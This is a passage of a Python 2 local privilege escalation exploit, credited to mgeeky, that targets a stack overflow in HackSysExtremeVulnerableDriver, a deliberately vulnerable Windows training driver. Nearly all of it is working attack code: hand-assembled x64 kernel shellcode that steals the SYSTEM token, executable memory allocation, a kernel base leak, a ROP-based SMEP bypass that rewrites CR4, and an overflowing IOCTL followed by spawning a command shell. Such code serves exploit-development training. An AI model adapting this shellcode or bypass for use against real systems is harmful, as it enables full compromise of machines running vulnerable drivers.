 86 |             FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
 87 |             None
 88 |         )
 89 | 
 90 |         if not self.handle or self.handle == -1:
 91 |             print "[!] Could not open Driver's handle: " + formatError()
 92 |             return False
 93 | 
 94 |         print '[+] Driver: "{}" opened, handle: 0x{:04x}'.format(self.fileName, self.handle)
 95 |         return True
 96 | 
 97 | 
 98 |     def sendIoctl(self, ioctl, inpBuf, inputSize):
 99 |         ret = ctypes.c_ulong()
100 |         inputBuf = getPtr(inpBuf)
101 | 
102 |         print '[+] Sending IOCTL: 0x{:08x}, input addr: 0x{:08x}, size: {}'.format(ioctl, inputBuf, inputSize)
103 |         sys.stdout.flush()
104 |         
105 |         out = ctypes.windll.kernel32.DeviceIoControl(
106 |             self.handle, 
107 |             ioctl, 
108 |             inputBuf, 
109 |             inputSize, 
110 |             None, 
111 |             0, 
112 |             ctypes.byref(ret), 
113 |             None 
114 |         )
115 | 
116 |         if not out:
117 |             print '[!] IOCTL Failed: ' + formatError()
118 | 
119 |         return out
120 | 
121 | def formatError():
122 |     errCode = ctypes.windll.kernel32.GetLastError()
123 |     buff = ctypes.create_string_buffer(1024)
124 |     ctypes.windll.kernel32.FormatMessageA(
125 |         FORMAT_MESSAGE_FROM_SYSTEM,
126 |         0,
127 |         errCode,
128 |         (((SUBLANG_DEFAULT) << 10) | (LANG_ENGLISH)),
129 |         buff,
130 |         1024,
131 |         0
132 |     )
133 | 
134 |     return 'error: {!s}, {}'.format(errCode, repr(buff.value.strip()))
135 | 
136 | 
137 | def shellcode():
138 |     tokenDiff = ((TOKEN_OFFSET - ACTIVE_PROC_LINKS) & 0xff)
139 | 
140 |     shellc = ""
141 | 
142 |     if INSERT_INT3: 
143 |         print '[?] Shellcode is using INT3 opcodes.'
144 |         shellc += "\x90\xcc\x90"
145 | 
146 |     shellc += "\x51"                                                                    # push rcx
147 |     shellc += "\xB9" + struct.pack("<I", os.getpid())                                   # mov ecx, PID
148 |     shellc += "\x65\x48\x8B\x04\x25" + struct.pack('<H', CURRENT_THREAD) + "\x00\x00"   # mov rax, gs:0x188
149 |     shellc += "\x48\x8B\x80" + struct.pack('<H', APC_PROCESS) + "\x00\x00"              # mov rax, [rax + EPROCESS]
150 |     shellc += "\x48\x8d\x80" + struct.pack('<H', ACTIVE_PROC_LINKS) + "\x00\x00"        # lea rax, [rax + ActiveProcessLink]
151 |     
152 |     shellc += "\x48\x8b\x00"                                                            # mov rax, [rax]       ; _LIST_ENTRY.Flink
153 |     shellc += "\x48\x8b\x58\xf8"                                                        # mov rbx, [rax-0x8]   ; UniqueProcessID
154 |     shellc += "\x48\x83\xfb\x04"                                                        # cmp rbx, 0x4         ; PID == 4 -> SYSTEM
155 |     shellc += "\x75\xf3"                                                                # jne
156 |     shellc += "\x48\x8b\x58" + struct.pack('<B', tokenDiff)                             # mov rbx,  [rax+ Token]
157 |     
158 |     shellc += "\x53"                                                                    # push rbx
159 |     shellc += "\x48\x8b\x00"                                                            # mov rax, [rax]
160 |     shellc += "\x48\x8b\x58\xf8"                                                        # mov rbx, [rax-0x8]   ; UniqueProcessID
161 |     shellc += "\x39\xcb"                                                                # cmp ebx, ecx         ; our PID
162 |     shellc += "\x75\xf5"                                                                # jne
163 |     shellc += "\x5b"                                                                    # pop rbx
164 |     shellc += "\x48\x89\x58" + struct.pack('<B', tokenDiff)                             # mov [rax + Token], rbx
165 |     
166 |     shellc += "\x48\x8b\x5c\x24\x58"                                                    # mov rbx, [rsp+0x58]  ; Restore _IRP
167 |     shellc += "\x48\x89\xdf"                                                            # mov rdi, rbx
168 |     shellc += "\x59"                                                                    # pop rcx
169 |     shellc += "\x48\x31\xC0"                                                            # xor rax, rax         ; NTSTATUS -> STATUS_SUCCESS
170 |     shellc += "\x48\x83\xC4\x28"                                                        # add rsp, 0x28
171 |     
172 |     if INSERT_INT3: shellc += "\xcc"
173 |     shellc += "\xC3"                                                                    # ret
174 | 
175 |     return (getPtr(shellc), len(shellc))
176 | 
177 | 
178 | def allocateShellcode():
179 |     shellcAddr, shellcSize = shellcode()
180 |     print '[+] Original shellcode stored at: 0x{:08x}, with size: {}'.format(shellcAddr, shellcSize)
181 | 
182 |     allocd = ctypes.windll.kernel32.VirtualAlloc(
183 |         None,
184 |         0x1000,
185 |         (MEM_COMMIT | MEM_RESERVE),
186 |         PAGE_EXECUTE_READWRITE
187 |     )
188 | 
189 |     if not allocd:
190 |         print "[!] Could not allocate buffer for the shellcode: " + formatError()
191 |         return 0
192 | 
193 |     fill = "\x90" * 0x1000
194 |     ctypes.memmove(allocd, fill, 0x1000)
195 |     ctypes.memmove(allocd, shellcAddr, shellcSize)
196 | 
197 |     return allocd, shellcSize
198 | 
199 | def getPtr(buf):
200 |     return id(buf) + 32
201 | 
202 | def getKernelBase():
203 |     imageBase = (ctypes.c_ulonglong * 1024)()
204 |     cb = ctypes.c_uint32(1024)
205 |     needed = ctypes.c_longlong()
206 | 
207 |     ctypes.windll.psapi.EnumDeviceDrivers.argtypes = \
208 |         [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_longlong)]
209 |         
210 |     res = ctypes.windll.psapi.EnumDeviceDrivers(
211 |         ctypes.byref(imageBase),
212 |         cb,
213 |         ctypes.byref(needed)
214 |     )
215 |     if not res:
216 |         print "\t[!] Failed getting kernel base: " + formatError()
217 |         return 0
218 | 
219 |     print '[+] Acquired kernel base: 0x{:x}'.format(imageBase[0])
220 |     
221 |     return imageBase[0]
222 | 
223 | def exploit(drv):
224 |     shellcodeAddress, shellcSize = allocateShellcode()
225 |     kernelBase = getKernelBase()
226 | 
227 |     if not shellcodeAddress:
228 |         print '[!] Shellcode has not been allocated properly.'
229 |         return False
230 | 
231 |     if not kernelBase:
232 |         return False
233 |     
234 |     buff_len = 2056 + 8
235 |     junk = "A" * (buff_len - 8)
236 | 
237 |     if USE_SMEP_BYPASS:
238 |         buff = (
239 |             # Junk overflowing the stack-based buffer
240 |             junk + 
241 | 
242 |             # SMEP bypass ROP constructed from:
243 |             #   pop rax         ; rax := valid cr4 value
244 |             #   ret
245 |             #   mov cr4, rax    ; set cr4 with SMEP bits turned off
246 |             #   ret
247 |             struct.pack('<Q', kernelBase + GADGET1_SET_RAX) +
248 |             struct.pack('<Q', VALID_CR4_VALUE) +
249 |             struct.pack('<Q', kernelBase + GADGET2_SET_CR4) +
250 | 
251 |             # And finally return address pointing at the kernel shellcode
252 |             struct.pack('<Q', shellcodeAddress)
253 |         )
254 |     else:
255 |         buff = (
256 |             junk + 
257 |             struct.pack('<Q', shellcodeAddress)
258 |         )
259 | 
260 |     if drv.sendIoctl(IOCTL_CODE, buff, buff_len):
261 |         print '[+] Exploit may have succeeded!\n\n'
262 | 
263 |         ctypes.windll.kernel32.WinExec("cmd")
264 | 
265 |         return True
266 | 
267 |     print '[-] Exploit has failed.'
268 |     return False
269 | 
270 | 
271 | def main(argv):
272 |     print '''
273 |     HackSysExtremeVulnerableDriver
274 |     Local Privilege Escalation exploit
275 |         Stack Overflow (x64) {}
276 |     Mariusz Banach / mgeeky, '17
277 | '''.format('' if not USE_SMEP_BYPASS else '+ with SMEP bypass')
278 |     
279 |     if platform.architecture()[0] != '64bit':
280 |         raise Exception("This exploit must be run from Python 2.7 x64 bit")
281 | 
282 |     drv = Driver(HEVD_FILE_NAME)
283 |     if not drv.open():
284 |         return False
285 | 
286 |     return exploit(drv)
287 | 
288 | if __name__ == '__main__':
289 |     main(sys.argv)
290 | 


--------------------------------------------------------------------------------